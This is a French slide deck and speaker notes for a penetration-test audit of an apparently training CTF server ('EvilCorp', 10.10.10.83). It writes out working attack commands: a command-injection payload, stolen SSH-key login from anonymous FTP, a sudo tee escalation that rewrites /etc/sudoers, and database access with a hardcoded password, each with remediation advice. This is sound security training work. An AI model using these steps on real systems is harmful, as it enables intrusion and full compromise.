PRÉSENTATION AUDIT DE SÉCURITÉ

EvilCorp Server - Test d'Intrusion

SLIDE 1 : CONTEXTE DE LA MISSION

Audit de Sécurité Informatique EvilCorp

Objectif : Évaluation complète de la sécurité infrastructure
Périmètre : Serveur 10.10.10.83 (little_big_ctf)
Durée d'audit : 4 heures
Méthodologie : PTES (Penetration Testing Execution Standard)

Livrables :

- Rapport technique détaillé
- Plan de remediation
- Recommandations stratégiques

SLIDE 2 : PHASE DE RECONNAISSANCE

Identification des Services Exposés

Méthode utilisée :

```bash
nmap -sS -sV 10.10.10.83
```

Services identifiés :

- **Port 21** : FTP vsftpd 3.0.5
- **Port 22** : SSH OpenSSH 8.2p1
- **Port 80** : Application web PINGOZAURUS
- **Port 8081** : Application web Evil CORP

Élément d'attention : Header HTTP "Vulnerable: True" détecté sur les services web, indiquant une configuration de test potentiellement non sécurisée.

SLIDE 3 : VULNÉRABILITÉ CRITIQUE 1/2

Injection de Commandes Système

Découverte : Analyse du formulaire web PINGOZAURUS révélant un paramètre 'command' non validé.

Test d'exploitation :

```bash
curl -X POST http://10.10.10.83 -d "command=127.0.0.1; id"
```

Résultat obtenu :

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Classification : CRITIQUE (CVSS 9.8)
Impact : Exécution de commandes arbitraires sur le serveur
Correction : Validation stricte des entrées avec liste blanche

---

SLIDE 4 : VULNÉRABILITÉ CRITIQUE 2/2

Exposition de Clé SSH Privée

Découverte via accès FTP anonyme :

```bash
ftp 10.10.10.83
# Connexion anonyme réussie
cd alice/files
get id_rsa
```

Exploitation :

```bash
chmod 600 id_rsa
ssh -i id_rsa alice@10.10.10.83
# Connexion SSH réussie
```

Classification : CRITIQUE (CVSS 9.8)
Impact : Contournement de l'authentification SSH
Correction : Désactivation FTP anonyme + régénération clés SSH

SLIDE 5 : ESCALADE DE PRIVILÈGES

Élévation vers Administrateur Système

Analyse de la configuration sudo :

```bash
sudo -l
# Résultat: alice ALL=(ALL:ALL) NOPASSWD: /usr/bin/tee -a *
```

Exploitation :

```bash
echo "alice ALL=(ALL:ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
sudo su -
# Privilèges root obtenus
```

Classification : PRIORITAIRE (CVSS 8.8)
Impact : Contrôle administrateur complet du système
Correction : Révision complète de la configuration sudo

SLIDE 6 : ACCÈS AUX DONNÉES SENSIBLES

Informations d'Authentification Exposées

Analyse du code source applicatif :

```javascript
// Fichier /opt/evil-web-app/index.js
const database = mysql.createConnection({
    user: "jedha",
    password: "mkiFDUAWqVbSFFk23nK",
    database: "EvilCorp"
});
```

Exploitation :

```bash
mysql -u jedha -pmkiFDUAWqVbSFFk23nK EvilCorp
SELECT * FROM admin;
# Récupération des comptes administrateurs
```

Classification : CRITIQUE (CVSS 9.2)
Impact : Accès complet aux données sensibles
Correction : Variables d'environnement + rotation des mots de passe

---

SLIDE 7 : SYNTHÈSE DES VULNÉRABILITÉS

Bilan de l'Audit de Sécurité

Niveau de Criticité	Nombre	CVSS Moyen	Exemples Principaux
CRITIQUE	**4**	**9.5**	Injection commandes, Clé SSH exposée
PRIORITAIRE	**8**	**7.9**	FTP anonyme, Escalade privilèges
IMPORTANT	**6**	**6.1**	XSS stocké, Configuration SSH

Temps de compromission totale mesuré : Moins de 30 minutes

Chaîne d'attaque validée :

FTP Anonyme → Clé SSH → Accès Utilisateur → Privilèges Root → Contrôle Total

---

SLIDE 8 : PLAN DE REMEDIATION

Stratégie de Correction et Timeline

Actions Immédiates (24-48h) :

- Désactivation du service FTP anonyme
- Correction de l'injection de commandes
- Sécurisation des credentials de base de données
- Révision de la configuration sudo

Plan de Remediation (6 jours ouvrés) :

- **Jours 1-2 :** Corrections critiques
- **Jours 3-4 :** Corrections prioritaires
- **Jour 5 :** Durcissement et tests
- **Jour 6 :** Validation et audit de contrôle

Budget estimé : 7-11 jours de travail technique spécialisé

Objectif : Réduction du niveau de risque de CRITIQUE à ACCEPTABLE

NOTES POUR LA PRÉSENTATION ORALE

Structure Recommandée (10 minutes)

Introduction (1 minute) :

- Présenter le contexte et les objectifs de l'audit
- Mentionner la méthodologie PTES utilisée

Reconnaissance (2 minutes) :

- Expliquer l'approche de découverte des services
- Détailler les éléments qui ont attiré l'attention (header "Vulnerable")

Démonstration des vulnérabilités critiques (4 minutes) :

- Se concentrer sur 2-3 vulnérabilités principales
- Montrer les captures d'écran des exploitations
- Expliquer le processus de découverte pour chaque vulnérabilité

Impact et escalade (1 minute) :

- Démontrer comment obtenir les privilèges administrateur
- Expliquer la chaîne d'attaque complète

Impact métier (1 minute) :

- Présenter les conséquences pour l'organisation
- Mentionner les risques de conformité réglementaire

Recommandations (1 minute) :

- Présenter le plan d'action concret
- Insister sur l'urgence des corrections critiques

Recommandations de Présentation

Ton professionnel :

- Utiliser un vocabulaire technique approprié
- Vulgariser les concepts pour un public non technique
- Maintenir une approche constructive et orientée solution

Support visuel :

- Préparer des captures d'écran des exploitations réussies
- Avoir des extraits de code pour illustrer les vulnérabilités
- Utiliser des schémas pour expliquer la chaîne d'attaque

Messages clés :

- "L'audit révèle des vulnérabilités critiques nécessitant une intervention immédiate"
- "La compromission totale du système est possible en moins de 30 minutes"
- "Un plan de remediation sur 6 jours permettra de sécuriser l'infrastructure"